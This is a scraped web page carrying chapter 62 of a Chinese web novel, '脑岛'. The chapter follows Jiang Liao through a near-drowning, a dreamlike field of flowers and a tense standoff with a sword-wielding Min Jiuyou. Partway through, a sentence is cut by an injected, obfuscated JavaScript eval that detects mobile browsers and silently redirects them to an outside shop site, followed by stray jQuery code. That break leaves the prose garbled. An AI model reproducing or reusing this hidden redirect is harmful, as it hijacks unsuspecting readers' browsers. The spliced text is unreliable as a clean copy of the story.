文趣网 > 都市小说 > 脑岛 > 62.收束
    恐惧在入水的一刻被彻底唤醒。

    疼,然后是冷,波涛轻易击碎了仅剩的清醒。

    理论不等于实践,虽然勉强控制了破开水面的角度、不至于当场毙命,却不能直接叫不会游泳的人速成!

    无法冷静,无法仰浮,无法思考。

    当幻象之中脖子上扼喉的手都令人错觉为安全时,江燎就知道自己快死了——

    ……有人没有音讯……

    ……有人还……在等我……

    ……有……

    哪个世界的感受已然不能分清,只有窒息的痛苦如影随形。

    ……姐姐……姐姐啊……

    咸涩的液体奔涌入更加咸涩的液体中,渺小的悲伤与古老又浩瀚的归处相融。

    失去力气的身体被黑色的海洋包容了,真温柔……

    视网膜上最后一点碎亮即将被掐灭,附身于虚假观测的江燎竭尽全力撑起意识的缝隙——

    身体的痛苦是假的,精神的痛苦是真的……

    死亡……是——

    ……是假的!

    念头刚腾起的下一秒,绝望的下沉竟被人硬生生给截住了!

    力道好大、敢和死神抢人的家伙!

    ——是谁???!!!

    无边黑暗骤然降临——

    求知的渴望被到此为止的观测强行关掉了。

    ……

    江燎在血色浓雾中醒来,视野之中有不一样的红。

    抬起发软的右手欲拂却抚,艳丽反卷的花瓣贴的皮肤微微发痒——

    是血红色的龙爪花。

    江燎撑起身,确认自己身处无垠花海之中。

    “汪汪……汪!”

    不远处传来小狗的叫声,许是藏在花下,江燎只闻其声不见其形,跌撞着顺声音追去,遍野的坡顶,有人等在那里。

    “你——”

    坐在花丛中的人抬头望来,走近的江燎这才把一切看得清——

    依偎着狄念生的不只有血花,还有田昭然。

    侧枕在狄念生腿上的她似在沉睡,恬静又安稳。

    血花随着微风轻轻摇曳,花瓣勾动着想叫她,却叫不醒。

    “……岛主是昭然,还是你?”

    狄念生注视了颓坐下来还找补说被风迷了眼揉个不停江燎半晌,道:

    “原来是她,现在是我。”

    “啊……岛主还能换人呢……”江燎轻轻戳了戳田昭然的脑袋:

    “昭然,醒醒,‘带范儿’还等着要带你跑两圈……你个小黑粉,吐槽我30码买菜速的事儿我都还没找你算账……要不你带我,我听你的,去哪都行……”

    “……不行,我尝试过很多次,都不行。”狄念生淡淡说,“走吧,我陪她。”

    “你怎么陪?赔命?”江燎疲惫道,“岛主怎么接替的?别开玩笑了、她这是叠加态吗?你……你是不是搏命把不符合条件的给做成岛了?来来回回发现救不了,就也不出去了?”

    狄念生垂着眼,一根一根的理顺田昭然的发丝:“太不完整了,这是最后的办法——让她成为我的‘中枢’,用我的留下,留下她。”

    “那‘水上世界’的你怎——”江燎意识到自己脱口而出了个自己都零分的问题,没说完的话又硬吞了回去。

    “她救想救她的我,我救想救我的她,挺完美的程序,”狄念生没什么浓度的声音终是轻的像叹息,“就‘永远’这么下去……”

    “这算什么啊……”江燎哽住。

    “算……‘永无止境的当下’。”狄念生的嘴角第一次微不可察的露出了弧度。

    “……怎么连这个都知道……”

    “……他告诉我的。”

    “……真是、等会儿非抽他……”

    狄念生点头同意,朝他伸出手指,江燎心领神会,立即摊开右手,任由对方在自己手心留下了几个字——

    江燎微微睁大双眼。

    在能见度突兀疾跌的血雾之中,狄念生似乎还有什么话想说,却不再开口了。

    下一秒,天地不分的红彻底吞噬了一切。

    ……

    江燎睁开眼,发现自己依旧漂荡在黑海之上。

    “狄——!”

    “诶、在。”

    江燎被这够近的一声震回神志,定睛一看更惊了——

    狄惑正坐在这片黑海之中唯一一块礁石上,水面肉眼可见的汹涌上涨,想要将他一口吞没!

    “怎么就只剩这么点陆地了?你要‘浮出水面’了?!”江燎抓住礁石,无奈面积太小,很难再爬第二个人上去,“你不能走!我还有事没问!”

    “见过我妹了?”狄惑笑嘻嘻,没有正形。

    “你妹?”江燎一愣,惊上加惊:

    “狄念生是女孩子???”

    “哎呀、你才知道啊?”狄惑浮夸的倒吸冷气,“谁还敢说只有我分不清男女~”

    “等等……”虽然消息惊人,但江燎拒接打岔,迅速拉回话题,“水下世界这个平行片段到底是怎么出现的?”

    “对了,你不是植物人了吗——”狄惑一个响指,不吐不快。

    “然后?和平行片段的关系是——?”江燎连忙追问。

    “然后——你不就没法阻止我去你家做客了嘛?”

    江燎懵,没懂这是什么屁话。

    狄惑很得意:“我成功了——做客了、反客为主了、住进你家了、骑你摩托了!”

    “你是不是有病?!”江燎顿时暴跳如□□,可惜礁石已经被完全吞没了、根本找不到支点,只能水里扑腾着抽他,“别在我家乱搞!”

    “我放弃治疗了!”快被海水没到脖子的狄惑老神在在,半点抵抗都不做,只看着江燎在那咬牙切齿和黑海拔河,看得直乐:

    “你不是连躯壳都不要了?还管家里干啥?”

    江燎一愣:“反正……都什么时候了还扯这些啊?!”

    “诶、我买摩托艇了,想玩不?纯黑色的、性能拉满,刺激的很……”

    江燎哪有那闲情逸致,用尽力气却也已经要拽不住人,青筋暴起:

    “闵九游怎么死的?!”

    狄惑皱眉,下一秒竟被不可名状的巨力向水下猛地拉去,不能算作回答的话语在混乱不堪的水声中含糊不清:

    “……你回来就知道了……”

    “——!”

    江燎不肯放手,无法下沉的身体随这狠狠一下,险被挤碎了全身骨骼!

    在阻隔的,不是海水,是“规则”。

    江燎无处着力,只能用自己!

    黑海第一次面露狰狞,非要教训这不知好歹之人放手,不再留半点情面,等待着汪洋之上裂痕满布的锚的东西,恐怕就只剩下粉身碎骨了!

    “——!!!!!”

    看不清楚、发不出声音,完全不知道自己挤进了什么的江燎手下力道陡然一松,大半个身体被直掀出海面!

    江燎勉强稳住、大口呼吸,赶紧将手从水

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709016|202967||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    中抽出,定睛一看却是触目惊心——

    断肢。

    人的胳膊。

    有血,冲掉了,没血,又出了,鲜红的……

    天旋地转,一个浪重重拍来,江燎被正中后脑,登时眼前一黑——

    ……

    短暂断片后,深陷床中的江燎被一个冷颤粗鲁唤醒,混乱的发现自己仍身处于曾经的卧室。

    外面天色一片漆黑。

    江燎拿出手机想确认时间,却发现怎么都开不了机。

    ……几点了?怎么没人来叫吃饭……

    不安在空气中不断疯长,江燎争分夺秒推开房门走了出去——

    被死寂爬满的整个建筑内,没有一盏光源是打开的,只有江燎的声音在无人应答的诡异中往复回荡。

    “章路!向娜!停电了吗!”

    江燎挂心收束,急着找人,余光不经意扫过一侧窗口,猛然顿住——

    楼下泳池边,此时此刻,竟然站着两个人影!

    江燎呼吸一窒,慌忙转身就往楼下冲,晦暗中险些一脚踩空,堪堪抓住扶手才只滑下了几个台阶!

    江燎片刻都不敢停,一瘸一拐来到院子,想也不想就直冲其中一人去了——

    闵九游并未任由江燎按下手中刀刃,满面寒霜不改。

    “干什么呢!!!”察觉到自己第一声没能收住,江燎硬挤出笑来:

    “阿游,你这‘器’我能给打十分,都看过了就收起来吧!不小心伤到人了怎么办?啊?”

    接着转向另一个人:

    “宋小七,是停电了吗?其他人呢?”

    对面宋陵七面无表情的脸上缓缓展现出了一个规范的笑容:

    “不知道呢师父,您家的待客之道挺特别的。”

    江燎一僵,当即扭头又给聊胜于无的手上力气加了码:

    “诶、这‘器’叫什么?给我看看呗?”

    闵九游松口不松手:

    “阳刃·破空。”

    江燎抢不过,急了:

    “干什么!想干什么?!有话咱们好好说不成?是忘买菜刀打算用阳刃切菜吗?要不你直接拿我试试快不快?!

    蓝芒流转的唐横刀低声嗡鸣,分毫不退。

    “你另一个徒弟去哪了?”闵九游问。

    江燎简直莫名其妙:

    “另一个什么啊!我只有一个徒弟!”

    闵九游握刀之手更紧半分:

    “塔……她,你也叫她江团,记得吗?”

    江燎对这个名字闻所未闻,下意识看向宋陵七——

    宋陵七短促一笑,笑这荒诞:

    “根本没听过——不欢迎就算了,师父您看我做什么?是也在怀疑我吗?”

    江燎连忙摇头、又点头:“阿游,咱们这儿根本就没有什么叫江团的人!你回来的太赶、累到了……”

    闵九游不作反驳:“破空除创造平行时空外,也让我不忘被干预的存在。”

    前半句降临的出其不意,江燎脑中轰一声炸开,刹时被震的血色全无:

    “是你……是你?这个平行片段——你……你相当于这片段的‘中枢’???”

    “……不能一直这样,你该醒了。”

    江燎惊笑:“怎么醒?!击穿你?!不行!不可能!我不醒!不如死医院了!”

    阳刃被泳池夺走虚影,冽冽水光撞进闵九游眼中:

    “江团被抹去了,到目前为止,有这个能力的人,只有——”